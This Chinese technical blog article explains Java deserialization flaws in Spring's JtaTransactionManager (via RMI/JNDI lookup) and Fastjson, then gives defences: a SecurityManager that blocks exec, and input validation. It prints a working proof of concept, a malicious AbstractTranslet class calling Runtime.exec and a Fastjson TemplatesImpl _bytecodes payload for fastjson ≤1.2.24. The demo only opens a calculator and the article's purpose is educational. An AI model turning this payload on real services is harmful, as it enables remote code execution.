简介: 在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。 但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。 DUBBO:对象传输必须要实现序列化 RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口
先开启 server,再运行 client 后,计算器会直接被打开!
究其原因,主要是这个类JtaTransactionManager
类存在问题,最终导致了漏洞的实现。
打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager
类重写了readObject
方法。
重点就是这个方法initUserTransactionAndTransactionManager()
,里面会转调用到JndiTemplate
的lookup()
方法。
可以看到lookup()
方法作用是:Look up the object with the given name in the current JNDI context。
也就是说,通过JtaTransactionManager
类的setUserTransactionName()
方法执行,最终指向了rmi://127.0.0.1:1099/Object
,导致服务执行了恶意类的远程代码。
2.3、FASTJSON 框架的反序列化漏洞分析
我们先来看一个简单的例子,程序代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
运行程序之后,同样的直接会打开电脑中的计算器。
恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")
这个方法,通过运行时操作类直接执行恶意代码。
我们在来看看下面这个例子:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class POC {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在这个程序验证代码中,最核心的部分是_bytecodes
,它是要执行的代码,@type
是指定的解析类,fastjson
会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson
只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp
l中_bytecodes
却是私有属性,_name
也是私有域,所以在parseObject
的时候需要设置Feature.SupportNonPublicField
,这样_bytecodes
字段才会被反序列化。
_tfactory
这个字段在TemplatesImpl
既没有get
方法也没有set
方法,所以是设置不了的,只能依赖于jdk
的实现,某些版本中在defineTransletClasses()
用到会引用_tfactory
属性导致异常退出。
如果你的jdk版本是1.7
,并且fastjson <= 1.2.24
,基本会执行成功,如果是高版本的,可能会报错!
详细分析请移步:Fastjson 远程反序列化程序验证的构造和分析 – 绿盟科技技术博客
Jackson 的反序列化漏洞也与之类似。
三、如何防范
从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。
3.1、禁止 JVM 执行外部命令 Runtime.exec
从上面的代码中,我们不难发现,恶意代码最终都是通过Runtime.exec
这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。
通过扩展 SecurityManager 可以实现:
public class SecurityManagerTest {
public static void main(String[] args) {
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager,保护自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}
@Override
public void checkPermission(Permission perm) {
check(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};
System.setSecurityManager(sm);
}
}
}
只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。
3.2、增加多层数据校验
比较有效的办法是,当我们把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有http
、https
、rmi
等这种类型的参数过滤验证,可以进一步降低服务的风险。
四、小结
随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的Jackson
和Fastjson
两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。
所以我们在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!